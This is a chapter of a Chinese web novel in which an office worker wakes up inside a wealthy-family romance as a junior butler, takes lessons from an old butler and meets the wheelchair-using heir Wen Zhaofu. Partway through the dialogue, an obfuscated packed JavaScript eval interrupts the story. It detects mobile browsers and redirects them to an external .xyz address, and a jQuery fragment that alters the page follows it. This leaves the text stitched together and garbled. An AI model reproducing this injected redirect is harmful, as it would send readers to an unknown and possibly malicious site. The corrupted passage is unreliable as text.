昏迷前,云帆想,天呐,他竟然在上班的时候倒下了?难道是最近吸的班味儿太重了,他已经无法承担了?
不要啊不要啊,他还不想死,辛辛苦苦挣的血汗钱,还没来得及花呢!
*
“怎么还不起来?”
“要不要叫施医生来?”
“大少爷,云帆还是没有起来。”
一道低沉的声音应了声:“叫施宁来,如果严重,立刻送医。我今日有公事,必须离开,急事打给我。”
“好的,昭甫少爷。”
云帆迷迷糊糊地听到咕咕咚咚的声音,好像是轮子滚动。可仪式现场铺着地毯,怎么会有这么大动静?
咋的,这是发生暗战了?冲突升级了,不好啊!这个月还指着这项目发奖金呢!
“呼——”云帆长舒了口气,猛地睁开眼睛。
脑袋正上方,有个眯着眼睛的人正拿着个听诊器,似乎想要进行下一步动作。
这人没想到云帆突然醒了过来,正想往下按的手,顿了下。
“你你你,你是谁?”云帆瑟缩身体,试图往后退。
这时,一双略显苍老但保养得当的手压住了云帆的肩膀,为他答疑:“云管家,这是我们闻家的家庭医生,施宁先生。你今早一直不起,不知出何问题,所以请他来诊治。”
西装革履的医生朝云帆笑笑,毫不留情地把冰凉的听诊器按在了云帆的胸口。
让查就查吧,云帆想着,反正他也很久没去体检了。
云帆躺在床上,被前前后后摆弄了十来分钟,又被无情地抽走几管血,施医生才开了金口:“问题不大,不排除是情绪因素,比如紧张或者不适应。”
“多休息,放轻松。”施医生笑笑,“我先走了,还有事。路上我会回复昭甫,不用担心。”
云帆这才发现,施医生不是眯着眼睛,他只是,眼睛小。
他个头不高,穿着一身得体的墨蓝色西装,如果不是提着医用装备,云帆不会认为他是名医生。
等会儿,刚才他背后这老头叫他什么来着,“云管家”?
难道他被卖到什么剧组来了?对,剧组!
这大夫都没穿白大褂,一切都是假的。想着想着,云帆便说出了口:“这服化道没跟上啊,医生都不穿白大褂吗?”
先前在云帆背后的老头绕到了床的侧面,云帆抬头望向他,看到他穿着经过修改的燕尾服,领口有枚白色领结,头发向后梳,眼神锐利。
突然,云帆像被击中了一样,脑门剧痛,他赶忙抬起手,掌心盖在额头上,痛苦地闭上眼睛。
“天呐!快叫施医生回来!”
“施医生的汽车尾巴都看不到了……”
云帆抬起手,上气不接下气地喘,声音越来越小:“让我,让我缓会儿……什么,我穿书了?”
一本小说梗概在他脑瓜子里清晰起来,这不是昨天隔壁老哥看的那本豪门狗血小说嘛!
闻昭甫,对了!这不正是豪门四大王之一的闻昭甫嘛!
云帆用力捏了捏自己的脸,抬起头问:“这里,是不是还有人叫程昱、闻灏琛和柳儿星?”
不知是这个问题本身的意义,还是云帆明亮双眼里的期待,在他问完之后,老管家皱起了眉头:“刚来一天,倒是对少爷们打听得挺清楚。”
“快起身吧,我还有诸多事务要交代给你。”老管家直起身体,摸了摸自己的袖口,“这碗银耳莲子汤记得喝,可以治头昏。”
床尾放着一件白色衬衣,下面是成套的黑色西装。云帆日常工作也得这么穿,所以他并不陌生。
“都是西装,别人穿成霸总,我怎么就是小管家!”云帆小声嘀咕着,慢吞吞换好了衣服。
端起那碗汤,云帆闻了闻。淡淡的甜味滑进鼻间,他拿起小勺,一口口喝下。银耳被炖出了胶质感,入口丝滑。裹着枸杞,中和了莲子的微苦。
云帆不知道自己睡了多久,走出房间时,他直起身体,突然觉得神清气爽。头也不疼了,颈椎也不麻了,连呼吸都觉得香甜了。
云帆想,换个班上上,也不是不行。
*
然而很快,云帆对于这个新班的期待,就被老管家打破了。
“管家的起源,是绅士的身份。我们的雇主是绅士,而我们,是绅士的私人绅士。”
老管家语速慢,普通话说得也没那么顺溜,云帆听得颇费力。刚刚这段,云帆觉得他就在为难自己。
“好了,看这个吧。”老管家展开一张图纸,摊在长桌上,“呐,这是闻岩岚邸的全景图。当然,港城的人们,叫这里闻家八大宅。”
闻岩岚邸由八栋主要建筑构成,兼有用于其他功能的小栋建筑。宅邸坐落在岚湾,面海靠山。一眼望过去,似是在山的环抱中,极具安全感和私密性。
“你知道的,我们闻家,如今在港城,是最负盛名的家族。”
“之一。”老管家又补了句。
老管家微微仰起头,目光悠远,嘴角带着骄傲又不失优雅的笑。此时此刻,云帆知道自己最好是应和他,可是他,真的没有什么背景知识啊。
“我,我不知道啊……”云帆应道,“要不,要不你给我讲讲呢?”
“你!”老管家被噎了一口,但一贯的优雅要求他不能放厥词,只无奈地说,“这些事,说来话长,日后再慢慢讲。”
顺着老管家的手指看过去,云帆看到“朗云台”三个字。
只见老管家坐直身体,清了清嗓子:“这里的每栋房子,都有自己的名字。现在我们所在这栋,属于昭甫先生。他是闻家二房长孙,也是闻氏集团的总裁。”
“朗云台的面积,仅次于太老爷当初居住的太平清水居哦,比剩下六栋都大。”
云帆配合地抬起头环顾四周。
他们现在应该是在客厅,这里房顶很高,他觉得在这里多看看那华丽的吊灯,应该不会得颈椎病。再往深看去,先往上再折返的楼梯通向二至四楼的卧室们。
确实是,太大了。这会儿安静,他俩说话都有回音。
“当初太老爷拿这块地皮时,好几大家族都在争夺。他出价更高,也为子子孙孙留下了这处物业。”
“我们管家啊,不求别的,只求闻家能基业长青。”老管家感叹道。
“那确实,谁都想要铁饭碗。”云帆应道。
老管家欲言又止地看了云帆一眼,带了点被看破的窘态。不过他很快调整情绪,继续教育云帆:“这八栋宅子的主人以及他们的关系,还望你及时理清楚并记住。”
“我们要负责这么多宅子吗?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213097|181379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”云帆震惊地问道。
“并非如此。”老管家点点桌子,“你,只需在朗云台即可,我有时会去去其他地方做些工作。”
云帆看向他点的地方,红棉舍、宝峰、安宁庄,名字还都挺好听。
“先前朗云台的一应事情都是我负责,现在你来了,可以帮我分担。我年龄也大了,是该培养接班人了。”老管家意味深长地说。
云帆似懂非懂地点了下头,就听得老管家絮叨开了。他用极其华丽但拗口的话讲着管家的主要职责。
总体而言,他们要为雇主的一切要求服务。想雇主之所想,急雇主之所急,解雇主之所忧的同时还要未雨绸缪。
他们要照顾雇主的饮食起居,穿着板正的制服,执行优雅的用餐礼仪,摆放精美的餐具,为了衬得上精心烹制的食物。
“当然,这些事情,你作为一个新人管家,很难掌握。”老管家得意地笑笑,“不像我,从我太爷爷起,便在英国做管家。通过经验和人脉的积累,我们有许多传统。”
“跟你说个小事情吧。我爷爷曾伺候过一位公爵夫人,她要求每日在她回家前十分钟,点燃所有蜡烛。”
“为此,我爷爷同蜡烛供应商专门定制符合夫人气质的蜡烛,每一根的雕饰皆不相同,更有独特气味。”
“这么浪费吗?!”云帆惊叫道,“点上,然后打119过来灭火吗?!”
“哎呀,你不要大惊小怪啦——”老管家急了,“再有,我们这里是打三个狗啦。”
“什么,玩意儿?!”云帆懵了。
正在这时,一道低沉但带着笑的声音,从他们身后传出:“三个九,他说的是报警电话九九九。”
老管家腾地站了起来,云帆也跟着站起来转过身。
“大少爷,您回来啦!”老管家看起来很是激动,大跨一步走到闻昭甫跟前。
闻昭甫抬起头,看向云帆。云帆还沉浸在刚刚的三个狗里,脸上挂着笑,眼睛也亮。
一时之间,闻昭甫竟没说出话。他看着云帆,看他小巧的脸,圆润如杏的眼睛,黑瞳极亮,像含着宝珠,清澈又纯净。
这双眼睛正瞧着自己,带着喜色,这让阅人无数的闻昭甫,心口竟颤了颤。
因为这双眼睛里的笑就只是笑,没有任何其他元素。
“天亮了……”闻昭甫轻声说着,如古井的眼神依旧看着眼前从天而降的精灵。
老管家离得近,听到了闻昭甫的话,应和道:“啊,是,雨停了,太阳出,天放晴。”
而此刻的云帆,脑瓜子里的线路正噼里啪啦地连着。原来这就是闻昭甫啊,啊啊啊书里说得没错,他好帅啊!
果然百闻不如一见啊,这书穿得真值啊!怎么会有人长得跟从油画里走出来的似的,五官立体,眼神深邃,眉宇间透着威严。
即使闻昭甫此刻坐在轮椅上,云帆也觉得他气场极强,背部笔挺,身形有如山岳。
云帆看呆了,看着云帆的闻昭甫也迟迟没有动作。一旁的老管家慌了,怎么会有管家,敢和雇主对视这么久呢!
渐渐地,闻昭甫的手按在了自己的大腿上,修长的手指因为用力,指节分明。而他脸上的笑,也一点点敛去。
云帆心中一惊,脱口而出那句经典台词:“少爷,你怎么不笑了!”